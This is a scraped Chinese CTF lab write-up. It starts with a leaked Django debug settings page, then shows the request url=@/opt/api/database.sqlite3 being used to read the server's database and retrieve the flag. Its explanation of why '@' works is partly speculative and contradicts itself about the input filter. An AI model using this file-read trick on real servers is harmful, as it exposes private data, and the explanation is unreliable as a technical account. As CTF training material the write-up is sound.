class="code"><pre>None</pre></td></tr><tr><td>CSRF_COOKIE_HTTPONLY</td><td class="code"><pre>False</pre></td></tr><tr><td>CSRF_COOKIE_NAME</td><td class="code"><pre>u&#39;csrftoken&#39;</pre></td></tr><tr><td>CSRF_COOKIE_PATH</td><td class="code"><pre>u&#39;/&#39;</pre></td></tr><tr><td>CSRF_COOKIE_SECURE</td><td class="code"><pre>False</pre></td></tr><tr><td>CSRF_FAILURE_VIEW</td><td class="code"><pre>u&#39;django.views.csrf.csrf_failure&#39;</pre></td></tr><tr><td>CSRF_HEADER_NAME</td><td class="code"><pre>u&#39;HTTP_X_CSRFTOKEN&#39;</pre></td></tr><tr><td>CSRF_TRUSTED_ORIGINS</td><td class="code"><pre>[]</pre></td></tr><tr><td>DATABASES</td><td class="code"><pre>{&#39;default&#39;: {&#39;ATOMIC_REQUESTS&#39;: False,&#39;AUTOCOMMIT&#39;: True,&#39;CONN_MAX_AGE&#39;: 0,&#39;ENGINE&#39;: &#39;django.db.backends.sqlite3&#39;,&#39;HOST&#39;: &#39;&#39;,&#39;NAME&#39;: &#39;/opt/api/database.sqlite3&#39;,&#39;OPTIONS&#39;: {},&#39;PASSWORD&#39;: u&#39;********************&#39;,&#39;PORT&#39;: &#39;&#39;,&#39;TEST&#39;: {&#39;CHARSET&#39;: None,&#39;COLLATION&#39;: None,&#39;MIRROR&#39;: None,&#39;NAME&#39;: None},&#39;TIME_ZONE&#39;: None,&#39;USER&#39;: &#39;&#39;}}</pre></td></tr><tr><td>DATABASE_ROUTERS</td><td class="code"><pre>[]</pre></td></tr><tr><td>DATA_UPLOAD_MAX_MEMORY_SIZE</td><td class="code"><pre>2621440</pre></td></tr><tr><td>DATA_UPLOAD_MAX_NUMBER_FIELDS</td><td class="code"><pre>1000</pre></td></tr><tr><td>DATETIME_FORMAT</td><td class="code"><pre>u&#39;N j, Y, P&#39;</pre></td></tr><tr><td>DATETIME_INPUT_FORMATS</td><td class="code"><pre>[u&#39;%Y-%m-%d %H:%M:%S&#39;,u&#39;%Y-%m-%d %H:%M:%S.%f&#39;,u&#39;%Y-%m-%d %H:%M&#39;,u&#39;%Y-%m-%d&#39;,u&#39;%m/%d/%Y %H:%M:%S&#39;,u&#39;%m/%d/%Y %H:%M:%S.%f&#39;,u&#39;%m/%d/%Y %H:%M&#39;,u&#39;%m/%d/%Y&#39;,u&#39;%m/%d/%y %H:%M:%S&#39;,u&#39;%m/%d/%y %H:%M:%S.%f&#39;,u&#39;%m/%d/%y %H:%M&#39;,u&#39;%m/%d/%y&#39;]</pre></td></tr><tr><td>DATE_FORMAT</td><td class="code"><pre>u&#39;N j, Y&#39;</pre></td></tr><tr><td>DATE_INPUT_FORMATS</td><td class="code"><pre>[u&#39;%Y-%m-%d&#39;,u&#39;%m/%d/%Y&#39;,u&#39;%m/%d/%y&#39;,u&#39;%b %d %Y&#39;,u&#39;%b %d, %Y&#39;,u&#39;%d %b %Y&#39;,u&#39;%d %b, %Y&#39;,u&#39;%B %d %Y&#39;,u&#39;%B %d, %Y&#39;,u&#39;%d %B %Y&#39;,u&#39;%d %B, %Y&#39;]</pre></td></tr><tr><td>DEBUG</td><td class="code"><pre>True</pre></td></tr><tr><td>DEBUG_PROPAGATE_EXCEPTIONS</td><td class="code"><pre>False</pre></td></tr><tr><td>DECIMAL_SEPARATOR</td><td class="code"><pre>u&#39;.&#39;</pre></td></tr><tr><td>DEFAULT_CHARSET</td><td class="code"><pre>u&#39;utf-8&#39;</pre></td></tr><tr><td>DEFAULT_CONTENT_TYPE</td><td class="code"><pre>u&#39;text/html&#39;</pre></td></tr><tr><td>DEFAULT_EXCEPTION_REPORTER_FILTER</td><td class="code"><pre>u&#39;django.views.debug.SafeExceptionReporterFilter&#39;</pre></td></tr><tr><td>DEFAULT_FILE_STORAGE</td><td class="code"><pre>u&#39;django.core.files.storage.FileSystemStorage&#39;</pre></td></tr><tr><td>DEFAULT_FROM_EMAIL</td><td class="code"><pre>u&#39;webmaster@localhost&#39;</pre></td></tr><tr><td>DEFAULT_INDEX_TABLESPACE</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>DEFAULT_TABLESPACE</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>DISALLOWED_USER_AGENTS</td><td class="code"><pre>[]</pre></td></tr><tr><td>EMAIL_BACKEND</td><td class="code"><pre>u&#39;django.core.mail.backends.smtp.EmailBackend&#39;</pre></td></tr><tr><td>EMAIL_HOST</td><td class="code"><pre>u&#39;localhost&#39;</pre></td></tr><tr><td>EMAIL_HOST_PASSWORD</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>EMAIL_HOST_USER</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>EMAIL_PORT</td><td class="code"><pre>25</pre></td></tr><tr><td>EMAIL_SSL_CERTFILE</td><td class="code"><pre>None</pre></td></tr><tr><td>EMAIL_SSL_KEYFILE</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>EMAIL_SUBJECT_PREFIX</td><td class="code"><pre>u&#39;[Django] &#39;</pre></td></tr><tr><td>EMAIL_TIMEOUT</td><td class="code"><pre>None</pre></td></tr><tr><td>EMAIL_USE_SSL</td><td class="code"><pre>False</pre></td></tr><tr><td>EMAIL_USE_TLS</td><td class="code"><pre>False</pre></td></tr><tr><td>FILE_CHARSET</td><td class="code"><pre>u&#39;utf-8&#39;</pre></td></tr><tr><td>FILE_UPLOAD_DIRECTORY_PERMISSIONS</td><td class="code"><pre>None</pre></td></tr><tr><td>FILE_UPLOAD_HANDLERS</td><td class="code"><pre>[u&#39;django.core.files.uploadhandler.MemoryFileUploadHandler&#39;,u&#39;django.core.files.uploadhandler.TemporaryFileUploadHandler&#39;]</pre></td></tr><tr><td>FILE_UPLOAD_MAX_MEMORY_SIZE</td><td class="code"><pre>2621440</pre></td></tr><tr><td>FILE_UPLOAD_PERMISSIONS</td><td class="code"><pre>None</pre></td></tr><tr><td>FILE_UPLOAD_TEMP_DIR</td><td class="code"><pre>None</pre></td></tr><tr><td>FIRST_DAY_OF_WEEK</td><td class="code"><pre>0</pre></td></tr><tr><td>FIXTURE_DIRS</td><td class="code"><pre>[]</pre></td></tr><tr><td>FORCE_SCRIPT_NAME</td><td class="code"><pre>None</pre></td></tr><tr><td>FORMAT_MODULE_PATH</td><td class="code"><pre>None</pre></td></tr><tr><td>IGNORABLE_404_URLS</td><td class="code"><pre>[]</pre></td></tr><tr><td>INSTALLED_APPS</td><td class="code"><pre>[&#39;django.contrib.admin&#39;,&#39;django.contrib.auth&#39;,&#39;django.contrib.contenttypes&#39;,&#39;django.contrib.sessions&#39;,&#39;django.contrib.messages&#39;,&#39;django.contrib.staticfiles&#39;,&#39;dnsapi&#39;]</pre></td></tr><tr><td>INTERNAL_IPS</td><td class="code"><pre>[]</pre></td></tr><tr><td>LANGUAGES</td><td class="code"><pre>[(u&#39;af&#39;, u&#39;Afrikaans&#39;),(u&#39;ar&#39;, u&#39;Arabic&#39;),(u&#39;ast&#39;, u&#39;Asturian&#39;),(u&#39;az&#39;, u&#39;Azerbaijani&#39;),(u&#39;bg&#39;, u&#39;Bulgarian&#39;),(u&#39;be&#39;, u&#39;Belarusian&#39;),(u&#39;bn&#39;, u&#39;Bengali&#39;),(u&#39;br&#39;, u&#39;Breton&#39;),(u&#39;bs&#39;, u&#39;Bosnian&#39;),(u&#39;ca&#39;, u&#39;Catalan&#39;),(u&#39;cs&#39;, u&#39;Czech&#39;),(u&#39;cy&#39;, u&#39;Welsh&#39;),(u&#39;da&#39;, u&#39;Danish&#39;),(u&#39;de&#39;, u&#39;German&#39;),(u&#39;dsb&#39;, u&#39;Lower Sorbian&#39;),(u&#39;el&#39;, u&#39;Greek&#39;),(u&#39;en&#39;, u&#39;English&#39;),(u&#39;en-au&#39;, u&#39;Australian English&#39;),(u&#39;en-gb&#39;, u&#39;British English&#39;),(u&#39;eo&#39;, u&#39;Esperanto&#39;),(u&#39;es&#39;, u&#39;Spanish&#39;),(u&#39;es-ar&#39;, u&#39;Argentinian Spanish&#39;),(u&#39;es-co&#39;, u&#39;Colombian Spanish&#39;),(u&#39;es-mx&#39;, u&#39;Mexican Spanish&#39;),(u&#39;es-ni&#39;, u&#39;Nicaraguan Spanish&#39;),(u&#39;es-ve&#39;, u&#39;Venezuelan Spanish&#39;),(u&#39;et&#39;, u&#39;Estonian&#39;),(u&#39;eu&#39;, u&#39;Basque&#39;),(u&#39;fa&#39;, u&#39;Persian&#39;),(u&#39;fi&#39;, u&#39;Finnish&#39;),(u&#39;fr&#39;, u&#39;French&#39;),(u&#39;fy&#39;, u&#39;Frisian&#39;),(u&#39;ga&#39;, u&#39;Irish&#39;),(u&#39;gd&#39;, u&#39;Scottish Gaelic&#39;),(u&#39;gl&#39;, u&#39;Galician&#39;),(u&#39;he&#39;, u&#39;Hebrew&#39;),(u&#39;hi&#39;, u&#39;Hindi&#39;),(u&#39;hr&#39;, u&#39;Croatian&#39;),(u&#39;hsb&#39;, u&#39;Upper Sorbian&#39;),(u&#39;hu&#39;, u&#39;Hungarian&#39;),(u&#39;ia&#39;, u&#39;Interlingua&#39;),(u&#39;id&#39;, u&#39;Indonesian&#39;),(u&#39;io&#39;, u&#39;Ido&#39;),(u&#39;is&#39;, u&#39;Icelandic&#39;),(u&#39;it&#39;, u&#39;Italian&#39;),(u&#39;ja&#39;, u&#39;Japanese&#39;),(u&#39;ka&#39;, u&#39;Georgian&#39;),(u&#39;kk&#39;, u&#39;Kazakh&#39;),(u&#39;km&#39;, u&#39;Khmer&#39;),(u&#39;kn&#39;, u&#39;Kannada&#39;),(u&#39;ko&#39;, u&#39;Korean&#39;),(u&#39;lb&#39;, u&#39;Luxembourgish&#39;),(u&#39;lt&#39;, u&#39;Lithuanian&#39;),(u&#39;lv&#39;, u&#39;Latvian&#39;),(u&#39;mk&#39;, u&#39;Macedonian&#39;),(u&#39;ml&#39;, u&#39;Malayalam&#39;),(u&#39;mn&#39;, u&#39;Mongolian&#39;),(u&#39;mr&#39;, u&#39;Marathi&#39;),(u&#39;my&#39;, u&#39;Burmese&#39;),(u&#39;nb&#39;, u&#39;Norwegian Bokm\xe5l&#39;),(u&#39;ne&#39;, u&#39;Nepali&#39;),(u&#39;nl&#39;, u&#39;Dutch&#39;),(u&#39;nn&#39;, u&#39;Norwegian Nynorsk&#39;),(u&#39;os&#39;, u&#39;Ossetic&#39;),(u&#39;pa&#39;, u&#39;Punjabi&#39;),(u&#39;pl&#39;, u&#39;Polish&#39;),(u&#39;pt&#39;, u&#39;Portuguese&#39;),(u&#39;pt-br&#39;, u&#39;Brazilian Portuguese&#39;),(u&#39;ro&#39;, u&#39;Romanian&#39;),(u&#39;ru&#39;, u&#39;Russian&#39;),(u&#39;sk&#39;, u&#39;Slovak&#39;),(u&#39;sl&#39;, u&#39;Slovenian&#39;),(u&#39;sq&#39;, u&#39;Albanian&#39;),(u&#39;sr&#39;, u&#39;Serbian&#39;),(u&#39;sr-latn&#39;, u&#39;Serbian Latin&#39;),(u&#39;sv&#39;, u&#39;Swedish&#39;),(u&#39;sw&#39;, u&#39;Swahili&#39;),(u&#39;ta&#39;, u&#39;Tamil&#39;),(u&#39;te&#39;, u&#39;Telugu&#39;),(u&#39;th&#39;, u&#39;Thai&#39;),(u&#39;tr&#39;, u&#39;Turkish&#39;),(u&#39;tt&#39;, u&#39;Tatar&#39;),(u&#39;udm&#39;, u&#39;Udmurt&#39;),(u&#39;uk&#39;, u&#39;Ukrainian&#39;),(u&#39;ur&#39;, u&#39;Urdu&#39;),(u&#39;vi&#39;, u&#39;Vietnamese&#39;),(u&#39;zh-hans&#39;, u&#39;Simplified Chinese&#39;),(u&#39;zh-hant&#39;, u&#39;Traditional Chinese&#39;)]</pre></td></tr><tr><td>LANGUAGES_BIDI</td><td class="code"><pre>[u&#39;he&#39;, u&#39;ar&#39;, u&#39;fa&#39;, u&#39;ur&#39;]</pre></td></tr><tr><td>LANGUAGE_CODE</td><td class="code"><pre>&#39;en-us&#39;</pre></td></tr><tr><td>LANGUAGE_COOKIE_AGE</td><td class="code"><pre>None</pre></td></tr><tr><td>LANGUAGE_COOKIE_DOMAIN</td><td class="code"><pre>None</pre></td></tr><tr><td>LANGUAGE_COOKIE_NAME</td><td class="code"><pre>u&#39;django_language&#39;</pre></td></tr><tr><td>LANGUAGE_COOKIE_PATH</td><td class="code"><pre>u&#39;/&#39;</pre></td></tr><tr><td>LOCALE_PATHS</td><td class="code"><pre>[]</pre></td></tr><tr><td>LOGGING</td><td class="code"><pre>{}</pre></td></tr><tr><td>LOGGING_CONFIG</td><td class="code"><pre>u&#39;logging.config.dictConfig&#39;</pre></td></tr><tr><td>LOGIN_REDIRECT_URL</td><td class="code"><pre>u&#39;/accounts/profile/&#39;</pre></td></tr><tr><td>LOGIN_URL</td><td class="code"><pre>u&#39;/accounts/login/&#39;</pre></td></tr><tr><td>LOGOUT_REDIRECT_URL</td><td class="code"><pre>None</pre></td></tr><tr><td>MANAGERS</td><td class="code"><pre>[]</pre></td></tr><tr><td>MEDIA_ROOT</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>MEDIA_URL</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>MESSAGE_STORAGE</td><td class="code"><pre>u&#39;django.contrib.messages.storage.fallback.FallbackStorage&#39;</pre></td></tr><tr><td>MIDDLEWARE</td><td class="code"><pre>[&#39;django.middleware.security.SecurityMiddleware&#39;,&#39;django.contrib.sessions.middleware.SessionMiddleware&#39;,&#39;django.middleware.common.CommonMiddleware&#39;,&#39;django.contrib.auth.middleware.AuthenticationMiddleware&#39;,&#39;django.contrib.messages.middleware.MessageMiddleware&#39;,&#39;django.middleware.clickjacking.XFrameOptionsMiddleware&#39;]</pre></td></tr><tr><td>MIDDLEWARE_CLASSES</td><td class="code"><pre>[u&#39;django.middleware.common.CommonMiddleware&#39;,u&#39;django.middleware.csrf.CsrfViewMiddleware&#39;]</pre></td></tr><tr><td>MIGRATION_MODULES</td><td class="code"><pre>{}</pre></td></tr><tr><td>MONTH_DAY_FORMAT</td><td class="code"><pre>u&#39;F j&#39;</pre></td></tr><tr><td>NUMBER_GROUPING</td><td class="code"><pre>0</pre></td></tr><tr><td>PASSWORD_HASHERS</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>PASSWORD_RESET_TIMEOUT_DAYS</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>PREPEND_WWW</td><td class="code"><pre>False</pre></td></tr><tr><td>ROOT_URLCONF</td><td class="code"><pre>&#39;api.urls&#39;</pre></td></tr><tr><td>SECRET_KEY</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>SECURE_BROWSER_XSS_FILTER</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_CONTENT_TYPE_NOSNIFF</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_HSTS_INCLUDE_SUBDOMAINS</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_HSTS_SECONDS</td><td class="code"><pre>0</pre></td></tr><tr><td>SECURE_PROXY_SSL_HEADER</td><td class="code"><pre>None</pre></td></tr><tr><td>SECURE_REDIRECT_EXEMPT</td><td class="code"><pre>[]</pre></td></tr><tr><td>SECURE_SSL_HOST</td><td class="code"><pre>None</pre></td></tr><tr><td>SECURE_SSL_REDIRECT</td><td class="code"><pre>False</pre></td></tr><tr><td>SERVER_EMAIL</td><td class="code"><pre>u&#39;root@localhost&#39;</pre></td></tr><tr><td>SESSION_CACHE_ALIAS</td><td class="code"><pre>u&#39;default&#39;</pre></td></tr><tr><td>SESSION_COOKIE_AGE</td><td class="code"><pre>1209600</pre></td></tr><tr><td>SESSION_COOKIE_DOMAIN</td><td class="code"><pre>None</pre></td></tr><tr><td>SESSION_COOKIE_HTTPONLY</td><td class="code"><pre>True</pre></td></tr><tr><td>SESSION_COOKIE_NAME</td><td class="code"><pre>u&#39;sessionid&#39;</pre></td></tr><tr><td>SESSION_COOKIE_PATH</td><td class="code"><pre>u&#39;/&#39;</pre></td></tr><tr><td>SESSION_COOKIE_SECURE</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_ENGINE</td><td class="code"><pre>u&#39;django.contrib.sessions.backends.db&#39;</pre></td></tr><tr><td>SESSION_EXPIRE_AT_BROWSER_CLOSE</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_FILE_PATH</td><td class="code"><pre>None</pre></td></tr><tr><td>SESSION_SAVE_EVERY_REQUEST</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_SERIALIZER</td><td class="code"><pre>u&#39;django.contrib.sessions.serializers.JSONSerializer&#39;</pre></td></tr><tr><td>SETTINGS_MODULE</td><td class="code"><pre>&#39;api.settings&#39;</pre></td></tr><tr><td>SHORT_DATETIME_FORMAT</td><td class="code"><pre>u&#39;m/d/Y P&#39;</pre></td></tr><tr><td>SHORT_DATE_FORMAT</td><td class="code"><pre>u&#39;m/d/Y&#39;</pre></td></tr><tr><td>SIGNING_BACKEND</td><td class="code"><pre>u&#39;django.core.signing.TimestampSigner&#39;</pre></td></tr><tr><td>SILENCED_SYSTEM_CHECKS</td><td class="code"><pre>[]</pre></td></tr><tr><td>STATICFILES_DIRS</td><td class="code"><pre>[]</pre></td></tr><tr><td>STATICFILES_FINDERS</td><td class="code"><pre>[u&#39;django.contrib.staticfiles.finders.FileSystemFinder&#39;,u&#39;django.contrib.staticfiles.finders.AppDirectoriesFinder&#39;]</pre></td></tr><tr><td>STATICFILES_STORAGE</td><td class="code"><pre>u&#39;django.contrib.staticfiles.storage.StaticFilesStorage&#39;</pre></td></tr><tr><td>STATIC_ROOT</td><td class="code"><pre>None</pre></td></tr><tr><td>STATIC_URL</td><td class="code"><pre>&#39;/static/&#39;</pre></td></tr><tr><td>TEMPLATES</td><td class="code"><pre>[{&#39;APP_DIRS&#39;: True,&#39;BACKEND&#39;: &#39;django.template.backends.django.DjangoTemplates&#39;,&#39;DIRS&#39;: [],&#39;OPTIONS&#39;: {&#39;context_processors&#39;: [&#39;django.template.context_processors.debug&#39;,&#39;django.template.context_processors.request&#39;,&#39;django.contrib.auth.context_processors.auth&#39;,&#39;django.contrib.messages.context_processors.messages&#39;]}}]</pre></td></tr><tr><td>TEST_NON_SERIALIZED_APPS</td><td class="code"><pre>[]</pre></td></tr><tr><td>TEST_RUNNER</td><td class="code"><pre>u&#39;django.test.runner.DiscoverRunner&#39;</pre></td></tr><tr><td>THOUSAND_SEPARATOR</td><td class="code"><pre>u&#39;,&#39;</pre></td></tr><tr><td>TIME_FORMAT</td><td class="code"><pre>u&#39;P&#39;</pre></td></tr><tr><td>TIME_INPUT_FORMATS</td><td class="code"><pre>[u&#39;%H:%M:%S&#39;, u&#39;%H:%M:%S.%f&#39;, u&#39;%H:%M&#39;]</pre></td></tr><tr><td>TIME_ZONE</td><td class="code"><pre>&#39;UTC&#39;</pre></td></tr><tr><td>USE_ETAGS</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_I18N</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_L10N</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_THOUSAND_SEPARATOR</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_TZ</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_X_FORWARDED_HOST</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_X_FORWARDED_PORT</td><td class="code"><pre>False</pre></td></tr><tr><td>WSGI_APPLICATION</td><td class="code"><pre>&#39;api.wsgi.application&#39;</pre></td></tr><tr><td>X_FRAME_OPTIONS</td><td class="code"><pre>u&#39;SAMEORIGIN&#39;</pre></td></tr><tr><td>YEAR_MONTH_FORMAT</td><td class="code"><pre>u&#39;F Y&#39;</pre></td></tr></tbody></table></div><div id="explanation"><p>You're seeing this error because you have <code>DEBUG = True</code> in yourDjango settings file. Change that to <code>False</code>, and Django willdisplay a standard page generated by the handler for this status code.</p></div></body>
</html>

将网页存储为html进行访问,便于观察。直接搜索flag,没有找到有用的信息
在这里插入图片描述

搜索data,发现了database.sqlite3文件,flag大概率在里面,不然这个题目不会无缘无故的出现这个sqlite3
在这里插入图片描述

获取其他文件

根据网址里提供的'NAME': '/opt/api/database.sqlite3',我们调整get请求:url=@/opt/api/database.sqlite3,成功访问该文件相关信息

在这里插入图片描述

url=@/opt/api/database.sqlite3 中,@ 符号的作用是 利用 Django/Web 框架的文件读取特性,具体原因如下:


1. @ 符号的常见用途

在 HTTP 请求或命令行工具(如 curl)中,@ 通常表示 从文件读取内容。例如:

  • curl -X POST http://example.com -d @file.txt 表示上传文件内容。
  • 在 Django 或其他 Web 框架中,@ 可能被解析为 文件路径的前缀,触发文件读取操作。

2. 本题中的利用场景

根据题目描述,后端代码的逻辑如下:

  1. 输入验证不严

    • 前端通过 GET 请求提交 url 参数(如 url=loli.club)。
    • 后端可能直接将该参数传递给文件操作函数(如 open()os.popen())。
  2. @ 触发文件读取

    • 当输入 url=@/opt/api/database.sqlite3 时:
      • @ 符号可能被解析为 从路径读取文件 的指令。
      • 后端尝试读取 /opt/api/database.sqlite3 文件的内容,而非将其作为普通字符串处理。
  3. 绕过字符过滤

    • 题目中的正则表达式 ^[a-zA-Z0-9\-\./]+$ 允许 /.,因此 @/opt/api/database.sqlite3 可能被允许通过检查。
    • @ 符号本身可能未被过滤,从而被后端解释为文件读取操作。

3. 为什么不用其他符号?

  • ../ 路径穿越
    如果直接尝试 url=../../../../etc/passwd,可能会被过滤或拦截。
  • file:// 协议
    某些环境下 file:// 会被禁用或转义。
  • @ 的隐蔽性
    @ 符号在 URL 中较常见(如邮箱),可能不会被安全规则拦截。

4. 技术原理总结

  • 文件包含漏洞
    后端未对输入进行严格校验,直接将用户输入拼接到文件操作函数中。
  • @ 的魔法
    框架或底层库(如 Python 的 open())可能将 @ 开头的字符串视为文件路径,而非普通数据。

5. 修复建议

如果这是真实场景,应:

  1. 禁止用户输入以 @ 或特殊符号开头的路径。
  2. 使用白名单校验输入(如只允许域名格式 example.com)。
  3. 避免直接将用户输入拼接到文件操作命令中。

关键点

@ 符号在此处的作用是 利用框架/语言特性强制触发文件读取,从而绕过常规的字符串处理逻辑。这是文件包含漏洞的一种巧妙利用方式。

转换为网页,在最后发现了flag

在这里插入图片描述
答案:flag{yoooo_Such_A_G00D_@}

如果想用工具打开sqslite,必须将其保存为二进制文件,代码如下:

data = 'SQLite format 3\x00\x04\x00\x01\x01\x00@  \x00...'  # 粘贴完整的字符串
with open('database.sqlite', 'wb') as f:f.write(data.encode('latin1'))  # 用latin1编码保留原始字节

文章转载自:

http://ZPD9iFiL.nbqwr.cn
http://tc7uk4Il.nbqwr.cn
http://USP9Cx6s.nbqwr.cn
http://0fcnMA5f.nbqwr.cn
http://v2T4TzH6.nbqwr.cn
http://6tuBQwvU.nbqwr.cn
http://Vs6qeHmB.nbqwr.cn
http://auoqNnM9.nbqwr.cn
http://6EP9dVOy.nbqwr.cn
http://7LKjrlns.nbqwr.cn
http://37A9FwNF.nbqwr.cn
http://sflwXDcV.nbqwr.cn
http://ox0qwQ6K.nbqwr.cn
http://mQxFdRc0.nbqwr.cn
http://lizLlngb.nbqwr.cn
http://yZ3f5IiX.nbqwr.cn
http://vOQbUgc9.nbqwr.cn
http://VRu3xy2c.nbqwr.cn
http://ihgvS26R.nbqwr.cn
http://IOvan7d6.nbqwr.cn
http://mVe5nEnc.nbqwr.cn
http://ipdOnShl.nbqwr.cn
http://Yb6QB8gE.nbqwr.cn
http://66TAVSqU.nbqwr.cn
http://1yelWkdk.nbqwr.cn
http://pXievkwF.nbqwr.cn
http://RzUMFTqV.nbqwr.cn
http://SXYRjheQ.nbqwr.cn
http://AIDWCXYW.nbqwr.cn
http://eA0tEH4t.nbqwr.cn
http://www.dtcms.com/a/385156.html

相关文章:

  • Java快速入门基础1
  • 嵌入式跟踪宏单元ETM(Embedded Trace Macrocell)
  • [免费]基于Python的Django商品二手交易平台【论文+源码+SQL脚本】
  • 「Memene 摸鱼日报 2025.9.15」Gemini 应用在美国 iOS 下载量超越 ChatGPT,西湖大学推出 AI 审稿系统
  • 并发和并行区别
  • RabbitMQ 内存管理与性能优化
  • VSCode关闭C或C++项目启动时的自动cmake功能
  • Git 查看状态(git status)、查看提交记录(git log)和提交日志(git reflog)
  • 第五届长城杯(京津冀蒙版)WEB
  • N1 junior 2025 safenotes
  • 2025年09月15日Github流行趋势
  • 通过网络强化增强混合IT环境的安全
  • 【数据结构入门】排序算法(5):计数排序
  • 超大规模多模态交通数据集:320TB+海量数据资源,涵盖行车视频、无人机航拍、第一视角步行骑行与道路监控,助力自动驾驶与智慧交通算法突破
  • [数据结构——Lesson13.冒泡与选择排序]
  • tar-符号连接(软连接)
  • php学习 (第六天)
  • MTK Linux Charger驱动分析(二) - power_supply_core.c
  • 如何做好AI智能体
  • 邻接矩阵幂 A^m 的几何意义
  • PL3381T/PL3383T/PL3384T 12V非隔离降压型芯片(200/300/400mA)
  • 食品科技企业NotCo完成SAP系统升级 构建统一数字化平台
  • LinuxC++项目开发日志——高并发内存池(6-内存回收机制)
  • 数值计算2
  • 硬件 - oring多电源切换
  • RocketMQ-高性能消息中间件的原理
  • DevOps历程--GitLab安装与使用教程(Docker安装和编译安装两种方式)
  • 大屏可视化动图渲染
  • Claude Code生态、实战
  • 系统架构设计师备考第24天——需求工程